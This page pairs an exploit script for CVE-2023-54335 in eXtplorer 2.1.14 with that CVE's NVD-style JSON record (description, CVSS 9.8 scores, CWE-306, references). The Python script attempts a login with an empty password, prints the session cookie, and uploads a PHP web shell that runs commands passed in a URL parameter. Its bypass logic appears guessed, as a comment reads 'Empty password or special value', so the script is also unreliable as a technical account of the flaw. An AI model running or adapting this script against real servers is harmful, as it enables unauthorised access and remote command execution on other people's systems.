CVE-2023-54335

#!/usr/bin/env python3 # CVE-2023-54335 Authentication Bypass PoC # Target: eXtplorer 2.1.14 # Vulnerability: Authentication bypass via login parameter manipulation import requests import sys def exploit_auth_bypass(target_url, target_username='admin'): """ Exploit the authentication bypass vulnerability in eXtplorer 2.1.14 by manipulating the login request to bypass password verification. """ login_url = f"{target_url.rstrip('/')}/extplorer.php" # Payload to bypass authentication # The vulnerability allows login without valid password login_data = { 'username': target_username, 'password': '', # Empty password or special value 'remember': 'true', 'action': 'login' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Attempting authentication bypass on {login_url}") print(f"[*] Using username: {target_username}") session = requests.Session() response = session.post(login_url, data=login_data, headers=headers, timeout=30) # Check if login was successful if 'extplorer' in response.text.lower() and 'login' not in response.url: print("[+] Authentication bypass successful!") print(f"[+] Session cookie: {session.cookies.get_dict()}") # Now upload malicious PHP file upload_url = f"{target_url.rstrip('/')}/extplorer.php" files = { 'do_action': (None, 'upload'), 'dir': (None, '/'), 'file_0': ('shell.php', b'<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } upload_resp = session.post(upload_url, files=files, headers=headers) if upload_resp.status_code == 200: print("[+] PHP webshell uploaded successfully") print(f"[*] Access shell at: {target_url}/extplorer/shell.php?cmd=whoami") return session else: print("[-] Authentication bypass failed") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url> [username]") print(f"Example: python3 {sys.argv[0]} http://target.com/admin admin") sys.exit(1) target = sys.argv[1] username = sys.argv[2] if len(sys.argv) > 2 else 'admin' exploit_auth_bypass(target, username)

{"cve": {"id": "CVE-2023-54335", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:16:01.053", "lastModified": "2026-02-03T19:25:21.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "eXtplorer 2.1.14 contains an authentication bypass vulnerability that allows attackers to login without a password by manipulating the login request. Attackers can exploit this flaw to upload malicious PHP files and execute remote commands on the vulnerable file management system."}, {"lang": "es", "value": "eXtplorer 2.1.14 contiene una vulnerabilidad de omisión de autenticación que permite a los atacantes iniciar sesión sin una contraseña manipulando la solicitud de inicio de sesión. Los atacantes pueden explotar esta falla para cargar archivos PHP maliciosos y ejecutar comandos remotos en el sistema de gestión de archivos vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:extplorer:extplorer:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.1.14", "matchCriteriaId": "FBF3A8EE-33C9-4DB3-80A2-E895A824753D"}]}]}], "references": [{"url": "https://extplorer.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51067", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/extplorer-authentication-bypass-remote-code-execution-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51067", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}